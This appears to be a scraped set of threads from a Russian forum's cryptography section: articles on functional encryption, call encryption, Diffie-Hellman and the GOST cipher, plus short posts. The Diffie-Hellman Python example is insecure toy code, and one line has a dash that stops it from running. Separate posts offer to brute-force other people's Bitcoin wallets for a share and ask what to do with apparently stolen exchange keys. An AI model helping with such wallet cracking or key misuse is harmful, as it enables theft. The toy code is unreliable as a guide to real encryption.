Давайте для начала определимся, что мы имеем в виду, говоря про ФШ. Совсем недавно, в 2010 году, Дэн Боне, Амит Сахай и Брент Уотерс формализовали понятие ФШ. Примерно ФШ можно описать так: это схема шифрования с публичным ключом, где разные ключи для расшифровки позволяют пользователю узнавать об определённых функциях зашифрованных данных.
Так, в схеме ФШ для функции F(·, ·) шифрователь с мастер-ключом генерирует ключ sk, позволяющий вычислять функцию F(k, ·) от зашированных данных так, что расшифровщик, зная зашифрованный текст c от данных x и ключа sk, способен вычислить F(k, x), не имея возможности узнать что-либо кроме результата вычисления функции по x.

ФШ против ПГШ

Если вы знакомы с концепцией ПГШ, интересно будет провести следующую параллель:

При помощи ПГШ можно вычислять любые функции от зашифрованных данных, не расшифровывая эти данные. Это интересная возможность делегирования вычислений третьим лицам, не имеющим доверия. Минус подхода состоит в том, что результат получается тоже зашифрованным, и для его расшифровки нужно отправлять его владельцу приватного ключа. Процесс ПГШ можно представить следующим образом, где E – схема шифрования, а F – функция, которую мы хотим вычислить от зашифрованных данных:

Code:Copy to clipboard

E(x_1), E(x_2), ..., E(x_n) → E(F(x_1,x_2, · · ·, x_n))

С другой стороны, с ФШ результат напрямую доступен нам сразу после вычислений, то есть, нам доступно следующее:

Code:Copy to clipboard

E(x_1), E(x_2), · · ·, E(x_n) → F(x_1,x_2, · · ·, x_n)

В каком-то смысле, ФШ – это схема, одновременно рассчитывающая и расшифровывающая результат, без утечек приватного ключа и любой информации об x1, x2, · · ·, xn кроме самого результата вычисления.

Очевидно, нам не нужно, чтобы каждый мог вычислить любую функцию, какую им захочется, поскольку иначе было бы легко добыть информацию об отдельных параметрах открытым текстом (например, вычислить тождественную функцию). Поэтому только владелец приватного ключа может расшифровывать E(x_i) и сгенерировать расчётные ключи для определённых функций по своему выбору. Это значит, что для ФШ требуется наличие «центрального органа», выдающего «расчётные ключи» лицам, ответственным за функциональные расчёты.

То есть, ФШ – это обобщение идеи шифрования с публичным ключом, позволяющее пользователям делегировать третьим лицам вычисления определённых классов функций от зашифрованных данных путём генерации определённых секретных ключей для этих функций. В отличие от стандартных схем шифрования, оно позволяет более точно контролировать возможности по расшифровке, доступные третьим лицам.

ФШ чрезвычайно полезно, поскольку оно позволяет нам намеренно передавать определённую информацию о зашифрованных данных определённым пользователям. К примеру, мы можем получить среднее значение величин из набора зашифрованных данных, не раскрывая сами данные, или получить больше статистических данных об этом наборе. С текущими проблемами в области безопасности и требованиями, выдвигаемыми новыми законами, такими, как GDPR, потребность в эффективных схемах ФШ становится более ясной, поскольку она позволяет проводить обработку зашифрованных данных третьими лицами, не выдавая этих данных никому в чистом виде. Это значит, что мы можем пойти дальше, чем позволяет псевдоанонимизация личных данных, гарантируя более строгую их конфиденциальность!

Возвращаемся к ФШ

Благодаря своей общей природе, ФШ охватывает и объединяет многие другие передовые схемы шифрования, которые раньше изучались независимо, а именно: [шифрование на основе идентификации](https://ru.wikipedia.org/wiki/ID- based_encryption), шифрование с возможностью поиска, шифрование со скрытым вектором, шифрование на основе идентификации с шаблонами подстановки, [шифрование на основе атрибутов](https://ru.wikipedia.org/wiki/Attribute- based_Encryption), функциональное шифрование со скалярным произведением.

Хотя схемы ФШ ещё очень молоды, с 2010 года произошло много всего, и уже существует довольно много интересных схем, позволяющих делать такие вещи, которые 8 лет назад казались очень сложными. Дошло уже до того, что на определённых криптографических конференциях организовываются доклады по ФШ!

Давайте посмотрим на несколько различных типов схем ФШ. К примеру:

  • Функциональное шифрование со скалярным произведением (ФШСП), где открытый текст – это вектор, а зашифрованные данные вместе с ключом можно использовать для вычисления скалярного произведения этого вектора с другим. ФШСП есть несколько вариантов: на много клиентов, на много входов, децентрализованное, со скрытием функции, и т.п.
  • Шифрование на основе атрибутов (ШОА), где зашифрованные данные связываются с набором атрибутов и секретных ключей вместе с определёнными правилами, контролирующими, какой зашифрованный текст можно зашифровать, в зависимости от имеющихся у нас атрибутов.
  • ФШ «общего назначения», позволяющее вычислять функцию f любого вида от зашифрованных данных Enc(x).

Однако тут важно отметить, что хотя уже была проделана большая работа, концентрирующаяся на теоретических аспектах ФШ, чтобы развить эту область как можно сильнее, все ФШ общего назначения на сегодня слишком малоэффективны для практического использования. Это одна из тем исследований проекта FENTEC (европейской исследовательской программы Functional Encryption Technologies): доведение ФШ до практической применимости путём проектирования и внедрения практических схем, которые можно было бы использовать в индустриальных масштабах. В этом проекте не только разрабатываются новые схемы с более богатой функциональностью, но и специальные сопроцессоры, способные ещё сильнее ускорить требуемые вычисления – всё, чтобы приблизить теорию к практике. Подробнее об этом оборудовании можно почитать в [посте в блоге проекта](http://fentec.eu/content/hardware- support-and-acceleration-functional-encryption) FENTEC.

Хотите использовать ФШ уже сегодня? Пожалуйста, используйте

Но что, если вы хотите использовать ФШ уже сегодня? С этим не должно быть проблем! В рамках проекта FENTEC команда из XLAB занята реализацией множества схем, разработанных партнёрскими университетами, в виде C-библиотеки CiFEr и Go-библиотеки GoFE.

Можно подробнее почитать о библиотеках в блоге FENTEC, или же отправиться прямо на Github и начать играться с библиотеками CiFEr и GoFE. Кстати, мы проверяли, они работают даже в браузере через WASM!

В Github-репозитории проекта есть даже несколько примеров:

  • Управление доступом к медицинским данным при помощи шифрования на основе атрибутов: github.com/fentec-project/Selective-Access-to-Clinical-Data
  • Как ФШ со скалярным произведением помогает создавать совершенно анонимную «тепловую карту» расположения пользователей: github.com/fentec-project/FE-anonymous-heatmap
  • Как квадратичное ФШ позволяет проводить машинное обучение на помощи зашифрованных данных, и вести оптическое распознавание рукописных цифр, не раскрывая самих этих цифр: github.com/fentec-project/neural-network-on-encrypted-data

Все ужасные подробности: что внутри у схемы ФШ

Среди уже реализованных схем можно найти множество схем под названием «функциональное шифрование со скалярным произведением». Но что означает это название? Его следует понимать буквально: эти схемы позволяют третьим лицам вычислять результат скалярного произведения двух векторов при помощи ФШ.

Допустим, вы хотите зашифровать вектор a и получить результат его скалярного произведения с вектором y. Для начала нам потребуется центральный орган для реализации ФШ.

В данном случае центральный орган выдаёт «публичный мастер-ключ» mpk, а также расчётный ключ zy для данного вектора y. Затем любой, кому известен публичный ключ, может зашифровать вектор a, позволяя любым третьим лицам, имеющим у себя ключ zy, вычислить <a, y>, имея Empk(a), и ничего не зная о самом векторе a.

Отметим, что в данной схеме ФШ вектор y, соответствующий вычислительному ключу zy, должен быть известен третьему лицу для вычисления скалярного произведения. То есть секретом остаётся только вектор a.

Что, если вы захотите, чтобы оба вектора, a и y оставались секретом, но при этом чтобы третьи лица могли вычислить их скалярное произведение?

К счастью, эта область исследований также совершила серьёзные прорывы в последние годы. Она известна под названием «ФШ со скрытием функций». По сути, схема шифрования скалярного произведения «скрывает функции», если ключи и зашифрованный текст не выдают дополнительной информации по поводу векторов a и y, кроме их скалярного произведения <a, y>. В новых схемах с ФШ всё чаще встречается скрытие функций (1, 2, [3](http://fentec.eu/content/paper- multi-input-functional-encryption-inner-products-function-hiding-realizations- and)).

Подводя итоги

Хотя функциональное шифрование и появилось недавно, мы уже можем представить себе множество вариантов его использования в будущем. Особенно интересный – возможность передавать процесс принятия решений, основанный на сквозном шифровании данных, от систем бэкенда на некие шлюзовые системы в сложных сетях. Мы называем это «локальным принятием решений», и подобная возможность – это большой шаг в направлении создания безопасных сетей для «интернета вещей» и других сильно децентрализованных сетей, которые захотят внедрить сквозное шифрование, не слишком теряя способность принимать решения на уровне шлюзов.

Сейчас мы работаем над прототипом продукта, который, используя ФШ со скалярным произведением, способен обнаруживать движение в видеопотоке, идущем от камеры к бэкенд-системе, на уровне шлюза, с использованием т.н. «векторов движения», входящих в стандарт H.264/MPEG-4 AVC.


Визуализация векторов движения в кадре при кодированииH.264 открытого короткометражного мультфильма Big Buck Bunny

Обратите внимание, насколько вектора движения хороши как кандидаты для применения в схемах с ФШ со скалярным произведением – ведь скалярное произведение определяется на векторных пространствах! Мы всё ещё ищем наилучшие варианты методов определения движения, и надеемся получить полностью рабочий прототип, использующий ФШ для распознавания движения, к концу 2020 года.

[Автор оригинала: Yolan Romailler](https://research.kudelskisecurity.com/2019/11/25/forget- homomorphic-encryption-here-comes-functional-encryption/)
Переводчик: @SLY_G

Аналог cryptsetup-nuke для Luks nuke для Veracrypt под linux\win
ID: 676536fbb4103b69df3738c2
Thread ID: 30757
Created: 2019-07-31T18:19:59+0000
Last Post: 2019-12-27T00:25:47+0000
Author: impala64
Replies: 14 Views: 4K

собственно ищется сабж. было бы не плохо так же иметь возможность затереть мастер ключ в контейнерах\разделах по хоткею.

Генерация .onion домена
ID: 676536fbb4103b69df3738c3
Thread ID: 29140
Created: 2019-05-04T10:28:56+0000
Last Post: 2019-12-20T06:36:31+0000
Author: SPT
Replies: 10 Views: 4K

Доменное имя прикольное.
А есть что-то под WIN кроме scallion, чтобы сгенерировать тоже что-то символов на 9?

хеши от валлет.даты
ID: 676536fbb4103b69df3738c8
Thread ID: 33099
Created: 2019-11-09T15:03:14+0000
Last Post: 2019-12-12T13:54:44+0000
Author: vsevse
Replies: 14 Views: 4K

Всем привет, имеется настроенная распределенная брут система, в виде : серверная оболочка распределяет задачи воркерам, и идет сравнение хеша по Rainbow tables, далее если не находится ответ в таблцах - система уходит в грубый перебор, ограничение пароля - 38 симвовлов , в данный момент подключено 500 видеокарт, есть возможность увеличить в несколько раз количество железа, кому нужно сбрутить валлет.дат от битка - велком, 50 на 50, только реальные предложения (премайненные кошельки сатоши от китайцев - мимо сразу)

Шифруем звонки на Android и IOS
ID: 676536fbb4103b69df3738dd
Thread ID: 27640
Created: 2019-02-04T11:39:48+0000
Last Post: 2019-09-07T07:42:21+0000
Author: tabac
Replies: 10 Views: 4K

В современном мире очень трудно быть уверенным в неприкосновенности частной жизни. Перехват и прослушка телефонных звонков стали обыденностью, как бы неприятно это не звучало. Поэтому HelpU позаботилась о вас и собрала, в одной статьей актуальные основы шифрования для Android и IPhone. Ваши мобильные разговоры могут прослушать спецслужбы, мошенники, работодатели, конкуренты по бизнесу и т.д. Поэтому все чаще люди задумываются о шифровании своих телефонных разговоров. Особенно, если по телефону передается важная конфиденциальная информация.

Смартфон или планшет часто выполняют функции мобильного секретаря, освобождая голову владельца от хранения большого количества важной информации. В телефонной книге есть номера друзей, сотрудников, членов семьи. В записной книжке часто пишут номера кредитных карточек, коды доступа к ним, пароли к соц сетям, электронной почте и платежным системам.Список последних звонков также очень важен.

![](/proxy.php?image=https%3A%2F%2Fhelpugroup.ru%2Fwp- content%2Fuploads%2F2017%2F04%2F1473972468_symmetric- encryption.gif&hash=3c432f551e28bca3c44adc0462a471f7)

Шифрование звонков в Android
RedPhone – мобильное приложение для Android, которое позволяет совершать зашифрованные голосовые звонки по Wi-Fi или через мобильный интернет с использованием обычных телефонных номеров. RedPhone шифрует только звонки между двумя пользователями RedPhone или между пользователями RedPhone и Signal.
Вы можете звонить другим пользователям RedPhone из самого приложения или с помощью стандартного номеронабирателя Android. RedPhone автоматически предложит вам перейти к зашифрованному звонку.

Установка RedPhone
Скачать и установить RedPhone

На телефоне Android запустите Google Play store и найдите «RedPhone». Выберите приложение «RedPhone :: Secure Calls».
Нажмите «Install» и примите «Условия использования», нажав «Accept». Программа будет автоматически загружена и установлена.
![](/proxy.php?image=https%3A%2F%2Fhelpugroup.ru%2Fwp- content%2Fuploads%2F2017%2F05%2Fbezopasnost- android1.jpg&hash=9e66d96f989e24080ed5465510737fc7)

Зарегистрируйте ваш мобильный номер
После завершения установки откройте программу RedPhone. Вам будет предложено зарегистрировать номер вашего мобильного телефона.
После завершения регистрации номера телефона RedPhone отправит вам проверочный код в SMS-сообщении. Так программа может убедиться, что номер действительно принадлежит вам. В ответ на запрос введите полученный код. Вы успешно установили RedPhone и готовы совершать зашифрованные звонки!

Использование RedPhone
Чтобы пользоваться RedPhone для звонков, человек, которому вы хотите позвонить, тоже должен установить на свой мобильный телефон RedPhone (или Signal). Если вы попробуете позвонить человеку, у которого нет RedPhone, программа предложит отправить SMS-приглашение собеседникам к использованию сервиса RedPhone, но звонить из RedPhone вы (пока) не сможете.
![](/proxy.php?image=https%3A%2F%2Fhelpugroup.ru%2Fwp- content%2Fuploads%2F2017%2F05%2Fbezopasnost- android2.jpg&hash=4dc7f60987c5271fed652b10b2e2d769)
Когда вы позвоните другому пользователю RedPhone или Signal (с помощью стандартного номеронабирателя или из приложения), программа предложит случайную пару слов. Эта пара позволит удостовериться в подлинности собеседника и его ключей (верификация ключей).
![](/proxy.php?image=https%3A%2F%2Fhelpugroup.ru%2Fwp- content%2Fuploads%2F2017%2F05%2Fbezopasnost- android3.jpg&hash=02bf764503b7e5be2c7df994c748ad57)
Самый надёжный способ проверки личности звонящего – использовать упомянутую пару слов и другой канал связи. Можно прочитать слова вслух, если вы знаете голос собеседника, но имейте в виду, что некоторые изощрённые злоумышленники способны подделать и голос. Произнесенная и записанная пары слов должны совпадать.

[Примечание]
Если вы не хотите пройтись катком шифрования по всем данным вашего устройства, есть Android- приложение в Google Play, которое предлагает разнообразные выборочные функции, в том числе шифрование одного файла, текста или папки.
SSE существует на этом рынке весьма продолжительное время и до сих пор, кажется, получает небольшие обновления. Приложение также имеет текстовый шифратор и хранилище под паролем. Текстовый редактор может быть использован для хранения зашифрованных заметок, которые могут быть разделены между платформами. Хранилище предназначено для хранения и управления всеми паролями, PIN-кодами и заметками в одном надежном месте, защищенном мастер-паролем. Функция работает подобно LastPass.

Шифрование звонков на iPhone
Signal – это первое приложение для iOS, разработанное для обеспечения простого и эффективного способа шифрования звонков на бесплатной основе.
Стоит отметить, что за плечами Open Whisper Systems накоплен немалый опыт работы в этом направлении. Многим пользователям Open Whisper Systems известна как разработчик Android-приложений RedPhone и TextSecure для шифрования вызовов и сообщений соответственно. И вот сейчас они решили проявить себя в экосистеме iOS.
Для шифрования телефонных разговоров приложение Signal использует хорошо зарекомендовавший себя криптографический протокол ZRTP и алгоритм AES с длиной ключа 128 бит. В теории такой защиты с лихвой хватит на то, чтобы противостоять всем известным на сегодняшний день атакам, организованным кем- либо, начиная от взломщиков из категории «скрипт кидди» и заканчивая специалистами АНБ.
![](/proxy.php?image=https%3A%2F%2Fhelpugroup.ru%2Fwp- content%2Fuploads%2F2017%2F04%2F00130.png&hash=036f539f92018e607e2cfd2abdc43e09)
Собственно, еще немного про Защиту от перехвата GSM-сигнала

Рекомендуем посмотреть интересное видео от PositiveTechnologies! Из видео вы узнаете, как происходят атаки на сети GSM с подменой базовой станции на виртуальную (MITM-атаки — атака «человек посередине»), как работает хакерское оборудование и по каким признакам можно обнаружить поддельную станцию

Как работает обмен ключами в протоколе Диффи-Хеллмана
ID: 676536fbb4103b69df3738e3
Thread ID: 29564
Created: 2019-05-29T20:02:41+0000
Last Post: 2019-07-29T22:33:05+0000
Author: tabac
Replies: 4 Views: 4K

Обмен ключами с помощью протокола Диффи-Хеллмана (DH) — это метод безопасного обмена криптографическими ключами по общедоступному каналу. Это один из первых протоколов с открытым ключом, который изначально был концептуализирован Ральфом Мерклем и назван в честь Уитфилда Диффи и Мартина Хеллмана. DH является одним из первых практических примеров обмена открытыми ключами. Сегодня DH используется для многих приложений, таких как, например, Proton Mail, SSH, GPG и так далее. В статье мы рассмотрим принципы работы этого протокола и проблемы, которые он решает.

Проблема в сквозном шифровании
Давайте возьмём простейшую ситуацию. Представьте, Майкл и я решили обменяться информацией. А хакер по имени Мистер Робот пытается перехватить наше сообщение.

![](/proxy.php?image=https%3A%2F%2Fcdn.tproger.ru%2Fwp- content%2Fuploads%2F2019%2F05%2Fkeys-exchange-python- pic-2.jpg&hash=d500edda5874b725c13e5794d8642206)

Логичный способ помешать Мистеру Роботу прочитать наше сообщение — шифрование. Предполагается, что даже если способ шифрования известен, сообщение не может быть расшифровано без ключа. Поэтому, пока мы с Майклом используем один и тот же метод шифрования и одинаковый ключ, мы можем общаться конфиденциально! Однако есть одна проблема…

![](/proxy.php?image=https%3A%2F%2Fcdn.tproger.ru%2Fwp- content%2Fuploads%2F2019%2F05%2Fkeys-exchange-python- pic-3.jpg&hash=29f0bd7cc030e7a30cb64d2daf511b26)

Чтобы расшифровать сообщение Майкла, мне нужно, чтобы он отправил мне ключ по сети. Проблема в том, что Мистер Робот следит за перепиской и обязательно увидит ключ. Получив ключ, он легко сможет расшифровать все наши сообщения! Эта проблема обмена ключами решается с помощью алгоритма Диффи-Хеллмана.

Как Диффи-Хеллман решает проблему?
Диффи-Хеллман работает по принципу неполного обмена ключом шифрования по сети. У каждой стороны есть открытый ключ (который может видеть каждый, включая Мистера Робота) и закрытый ключ (его может видеть только пользователь компьютера). У меня нет доступа к личному ключу Майкла. У Майкла — к моему.

![](/proxy.php?image=https%3A%2F%2Fcdn.tproger.ru%2Fwp- content%2Fuploads%2F2019%2F05%2Fkeys-exchange-python- pic-4.jpg&hash=a6a90a34a19e584a041db486a52fb3da)

Теперь давайте предположим, что мы оба используем общий алгоритм шифрования, и нам нужно каким-то образом восстановить общий ключ шифрования, не передавая слишком много информации через сеть.

Создание базового класса
Ниже приведён предварительный базовый класс одной стороны, использующей шифрование DH. Пока не беспокойтесь о деталях, так как мы подробно рассмотрим каждую функцию!

C:Copy to clipboard

class DH_Endpoint():
   def __init__(self, public_key1, public_key2, private_key):
       self.public_key1 = public_key1
       self.public_key2 = public_key2
       self.private_key = private_key
       self.full_key = None
     
   def generate_partial_key(self):
       partial_key = self.public_key1 ** self.private_key
       partial_key = partial_key % self.public_key2
       return partial_key
 
   def generate_full_key(self, partial_key_r):
       full_key = partial_key_r ** self.private_key
       full_key = full_key % self.public_key2
       self.full_key = full_key
       return full_key
 
   def encrypt_message(self, message):
       encrypted_message = ""
       key = self.full_key
       for c in message:
           encrypted_message += chr(ord(c) + key)
       return encrypted_message
 
   def decrypt_message(self, encrypted_message):
       decrypted_message = ""
       key = self.full_key
       for c in encrypted_message:
           decrypted_message += chr(ord(c) — key)
       return decrypted_message

Давайте определим секретное сообщение, которое Майкл планирует отправить мне, а также наши закрытые и открытые ключи, установленные на компьютерах. В реальной жизни обычно используются большие простые числа, здесь мы будем использовать небольшие значения для простого отображения математической части.

C:Copy to clipboard

message = "This is a very secret message!!!"
s_public = 197
s_private = 199
m_public = 151
m_private = 157
Sadat = DH_Endpoint(s_public, m_public, s_private)
Michael = DH_Endpoint(s_public, m_public, m_private)

Частичный обмен ключами
Давайте предположим, что мы ничего не видим внутри сервера Майкла (включая его личный ключ).

![](/proxy.php?image=https%3A%2F%2Fcdn.tproger.ru%2Fwp- content%2Fuploads%2F2019%2F05%2Fkeys-exchange-python- pic-6.jpg&hash=3953f5e725e219fa582aad6e0d4302da)

Теперь мне нужно создать частичный ключ шифрования, используя 3 доступные единицы информации: мой закрытый и открытый ключи и открытый ключ Майкла. Алгоритмически мы согласились использовать мой открытый ключ в качестве базы и его открытый ключ в качестве модуля.

![](/proxy.php?image=https%3A%2F%2Fcdn.tproger.ru%2Fwp- content%2Fuploads%2F2019%2F05%2Fkeys-exchange-python- pic-7.png&hash=1f61fc3decebbfd0d9d0cef01d391f86)

Если мы посмотрим на нашу функцию для генерации частичного ключа, то она именно эти вычисления и делает:

C:Copy to clipboard

def generate_partial_key(self):
       partial_key = self.public_key1 ** self.private_key
       partial_key = partial_key % self.public_key2
       return partial_key

Теперь давайте сгенерируем этот частичный ключ и отправим его Майклу по сети.

C:Copy to clipboard

s_partial = Sadat.generate_partial_key()
print(s_partial) # 147

Таким же образом Майкл посылает мне свой частичный ключ по сети.

C:Copy to clipboard

m_partial = Michael.generate_partial_key()
print(m_partial) # 66

Сравнение обоих вычислений частичного ключа:

![](/proxy.php?image=https%3A%2F%2Fcdn.tproger.ru%2Fwp- content%2Fuploads%2F2019%2F05%2Fkeys-exchange-python- pic-8.jpg&hash=4a69cf36d73526e37888f9a330337830)

Мистер Робот, естественно, увидел обмен частичными ключами. Он также знает оба открытых ключа. Теперь ему нужно взломать наши соответствующие закрытые ключи.

![](/proxy.php?image=https%3A%2F%2Fcdn.tproger.ru%2Fwp- content%2Fuploads%2F2019%2F05%2Fkeys-exchange-python- pic-9.jpg&hash=393dd445abedd58dac736458ea4e3840)

Всё, что знает Мистер Робот, — это частичные ключи и соответствующие открытые ключи, а также формула, используемая для получения частичных ключей. Особенность вычисления по модулю в том, что функция заставляет значение циклически изменяться. Если у вас есть модуль 151, значение будет между 0 и 151-1.

![](/proxy.php?image=https%3A%2F%2Fcdn.tproger.ru%2Fwp- content%2Fuploads%2F2019%2F05%2Fkeys-exchange-python- pic-10.jpg&hash=7069a93f75e333aa74713b8d455f7ada)

Существует бесконечное число возможных значений, которые по модулю 151 будут равны либо 66, либо 147. В результате информации для получения закрытых ключей пользователей недостаточно (если не считать грубый перебор безумно большого числа всевозможных вариантов). Кроме того, в примере используются небольшие числа для закрытых и открытых ключей, что делает подбор реальным. В реальной жизни это было бы почти невозможно!

Генерация полного ключа
![](/proxy.php?image=https%3A%2F%2Fcdn.tproger.ru%2Fwp- content%2Fuploads%2F2019%2F05%2Fkeys-exchange-python- pic-11.jpg&hash=a6e14d2b7a3eaa53ba4b4e7c4a819f2b)
Теперь, когда мы успешно обменялись частичными ключами, давайте снова применим операторы степени и деления с остатком к частичному ключу другого человека, используя наши собственные закрытые ключи следующим образом:

![](/proxy.php?image=https%3A%2F%2Fcdn.tproger.ru%2Fwp- content%2Fuploads%2F2019%2F05%2Fkeys-exchange-python- pic-12.jpg&hash=ff25782aa92e4da10b2ee0a2b743347a)

Реализация этого в Python:

Python:Copy to clipboard

def generate_full_key(self, partial_key_r):
       full_key = partial_key_r ** self.private_key
       full_key = full_key % self.public_key2
       self.full_key = full_key
       return full_key

Код с моей стороны:

Python:Copy to clipboard

s_full = Sadat.generate_full_key(m_partial)
print(s_full) # 75

И то же самое для Майкла, использующего мой частичный ключ:

Python:Copy to clipboard

m_full=Michael.generate_full_key(s_partial)
print(m_full) # 75

Сравнивая их:

![](/proxy.php?image=https%3A%2F%2Fcdn.tproger.ru%2Fwp- content%2Fuploads%2F2019%2F05%2Fkeys-exchange-python- pic-13.jpg&hash=13fd81890da5ab00c3d1dbc18ac6b6d0)
Заметили что-нибудь интересное? Мы оба получили одинаковые полные ключи, равные 75! Причина заключается в следующем математическом соотношении:

![](/proxy.php?image=https%3A%2F%2Fcdn.tproger.ru%2Fwp- content%2Fuploads%2F2019%2F05%2Fkeys-exchange- formula.png&hash=847210f36e50ebadeadab697836a5750)

Здесь a и b — закрытые ключи, а g и p — открытые. Нам удалось обменяться друг с другом по сети достаточным количеством информации, чтобы сгенерировать общий ключ шифрования, не ставя под угрозу наши закрытые ключи.

Время шифрования!
Теперь, когда у нас есть общий ключ шифрования, пришло время начать обмен сообщениями! Как объяснялось в начале этого раздела, Майкл хочет отправить мне зашифрованное сообщение. Вот простой алгоритм, который я написал для шифрования сообщения Майкла:

Code:Copy to clipboard

def encrypt_message(self, message):
       encrypted_message = ""
       key = self.full_key
       for c in message:
           encrypted_message += chr(ord(c) + key)
       return encrypted_message

Ничего особенного. Каждый символ кодируется в целое число, значение ключа добавляется, а затем целое число преобразуется обратно в символ. Этот процесс повторяется для каждого символа в сообщении. Первоначальное сообщение, которым хотел поделиться Майкл: «This is a very secret message!!!». Давайте добавим его в алгоритм с нашим новым ключом шифрования.

Прим. пер.: это шифр простой замены, которым в реальной жизни пользоваться не стоит. Взламывается чуть сложнее классического, но всё равно достаточно быстро.

Code:Copy to clipboard

m_encrypted = Michael.encrypt_message(message)
print(m_encrypted) # '\x9f³´¾k´¾k¬kÁ°½Äk¾°®½°¿k¸°¾¾¬²°lll'

Зашифрованное сообщение — «\x9f³´¾k´¾k¬kÁ°½Äk¾°®½°¿k¸°¾¾¬²°lll», что при чтении выглядит как бессвязный набор символов. Мистер Робот понятия не имеет, чем Майкл делится со мной по сети.

Теперь пришло время расшифровать сообщение с моей стороны.

Code:Copy to clipboard

def decrypt_message(self, encrypted_message):
       decrypted_message = ""
       key = self.full_key
       for c in encrypted_message:
           decrypted_message += chr(ord(c) — key)
       return decrypted_message

Эта функция делает обратное преобразование. На этапе шифрования было добавлено значение ключа, на этапе расшифровки будет вычтено то же самое значение.

Code:Copy to clipboard

message = Sadat.decrypt_message(m_encrypted)
print(message) # 'This is a very secret message!!!'

Получил сообщение! Хорошая попытка, Мистер Робот. Нам удалось обмениваться зашифрованными сообщениями, не поставив под угрозу наши ключи шифрования.

![](/proxy.php?image=https%3A%2F%2Fcdn.tproger.ru%2Fwp- content%2Fuploads%2F2019%2F05%2Fkeys-exchange- formula-1.png&hash=b71f1ad52612e0c57b070b509a08162e)

![](/proxy.php?image=https%3A%2F%2Fcdn.tproger.ru%2Fwp- content%2Fuploads%2F2019%2F05%2Fkeys-exchange-python- pic-14.jpg&hash=f2ad8aa36749910ae8aa127cb49024d6)

Удачи с Evil Corp!

Мы рассмотрели механику работы алгоритма Диффи-Хеллмана на примерах с цифрами и кодом на Python. Если вы хотите закрепить полученные знания, будет полезно посмотреть это видео:

Перевод статьи «Diffie-Hellman Key Exchange explained (Python)»,
автор перевода - Варвара Николаева

Архив в картинке
ID: 676536fbb4103b69df3738e4
Thread ID: 29142
Created: 2019-05-06T18:16:05+0000
Last Post: 2019-07-13T21:02:31+0000
Author: Fixwee
Replies: 5 Views: 4K

Всем привет, увидел только что, как человек написал статью как, из exe сделать jpg, вспомнил одну штуку, школьники точно знать не должны, про бывалых молчу)
давным давно, было дело когда я был пиз*юком, все писали всякую дичь на vb, vbs, и через командную строку ну темы даже были bat вирусы и т.д.
короче к сути, статья о том как в jpg спрятать целый архив. 0_0?

Ищем любую картинку, которая понравилась. для простоты кидаем её на рабочий стол и даём ей название 1, так же создаём архив на рабочем столе называем допустим 2.
Что мы имеем?
1.jpg Наша картинка или фотка в которую мы будем прятать архив.
2.rar Наш архив который мы засунем в нашу картинку.

Далее.. открываем блокнот и пишем туда.

Code:Copy to clipboard

copy /b 1.JPG + 2.rar 777.jpg

Сохраняем как 1.bat,запускаем
Поясняю
1.JPG это наша картинка
2.rar это наш архив
777.jpg создаётся таже картинка в натри которой уже будет архив,
После открываем картинку "открыть как.." архив и кидаем всю чешую которую хотим спрятать,
эту картинку можно скинуть другу, открыв её как архив он может увидеть содержимое.

помогите расшифровать
ID: 676536fbb4103b69df3738f0
Thread ID: 26431
Created: 2018-10-31T20:41:41+0000
Last Post: 2019-02-07T04:04:23+0000
Author: sizzeR
Replies: 6 Views: 4K

в шапке.
U2FsdGVkX1+CHa4Z1bfgp5PTCrgcIDBD1E7rUrGcRT7l8Ol9pAe/8h4/yj7BzeQ69V+xDkD5jaqEKhzG81UHDCJgUnqJrGi2VOfhP1bfC2c=

Public и Private key
ID: 676536fbb4103b69df3738f2
Thread ID: 26637
Created: 2018-11-24T21:33:49+0000
Last Post: 2018-12-06T23:27:27+0000
Author: entuziast
Replies: 10 Views: 4K

Доброго! Что можно сделать если имеются публичный и приватный ключ от биржи? Я чекнул баланс, там порядка 500к суммарно

Взломан блочный шифр ГОСТ 28147-89
ID: 676536fbb4103b69df3738fb
Thread ID: 21663
Created: 2011-05-21T07:07:29+0000
Last Post: 2011-05-21T18:24:57+0000
Author: Se613
Replies: 1 Views: 4K

Известный исследователь, основоположник алгебраического криптоанализа Николя Куртуа утверждает, что блочный шифр ГОСТ, который в ближайшее время должен был стать международным стандартом, фактически взломан и ожидает в дальнейшем множества публикаций, которые должны развить его идеи о нестойкости этого алгоритма.

Далее приведены краткие выдержки из этой работы, которую можно рассматривать как алармистский выпад в разгаре международной стандартизации (схожими преувеличениями автор был известен и в отношении AES, однако его работы тогда оказали большое теоретическое влияние на криптоанализ, но так и не привели на сегодняшний момент к практическим атакам на сам AES). Но, возможно, это и реальное предупреждение о начале этапа "пикирующего в штопор самолёта", которое может закончиться крахом национального стандарта шифрования, как это было с алгоритмом хэширования SHA-1 и алгоритмом хэширования "де-факто" MD5.

ГОСТ 28147-89 был стандартизирован в 1989 году и впервые стал официальным стандартом защиты конфиденциальной информации, но спецификация шифра оставалась закрытой. В 1994 году стандарт был рассекречен, опубликован и переведён на английский язык. По аналогии с AES (и в отличие от DES), ГОСТ допущен к защите секретной информации без ограничений, в соответствии с тем, как это указано в российском стандарте. Т.о. ГОСТ — это не аналог DES, а конкурент 3-DES с тремя независимыми ключами или AES-256. Очевидно, что ГОСТ — это достаточно серьёзный шифр, удовлетворяющий военным критериям, созданный с расчётом на самые серьёзные применения. По крайней мере два набора S-блоков ГОСТа были идентифицированы на основе приложений, используемых российскими банками. Эти банки нуждаются в проведении секретных коммуникаций с сотнями филиалов и защите миллиардов долларов от мошеннических хищений.

ГОСТ — это блочный шифр с простой структурой Файстеля, с размером блока 64 бита, 256-битным ключом и 32 раундами. Каждый раунд содержит сложение с ключом по модулю 232, набор из восьми 4-битных S-блоков и простой циклический сдвиг на 11 битов. Особенностью ГОСТа является возможность хранения S-блоков в секрете, что можно представить как второй ключ, увеличивающий эффективный ключевой материал до 610 битов. Один набор S-блоков был опубликован в 1994 году в рамках спецификации хэш-функции ГОСТ-Р 34.11-94 и, как писал Шнайер, использовался Центральным Банком Российской Федерации. Он также вошёл в стандарт RFC4357 в части "id-GostR3411-94-CryptoProParamSet". В исходных кодах в конце книги Шнайера была ошибка (в порядке S-блоков). Наиболее точную эталонную реализацию исконно российского происхождения сейчас можно встретить в библиотеке OpenSSL. Если где-то применяются секретные S-блоки, то они могут быть извлечены из программных реализаций и из микросхем, по факту чего были опубликованы соответствующие работы.

ГОСТ — серьёзный конкурент

В дополнение к очень большому размеру ключа, GOST имеет значительно более низкую стоимость исполнения по сравнению с AES и какими-либо ещё сходными системами шифрования. В действительности, он стоит намного меньше AES, которому требуется в четыре раза больше аппаратных логических вентилей ради значительно меньшего заявленного уровня безопасности.

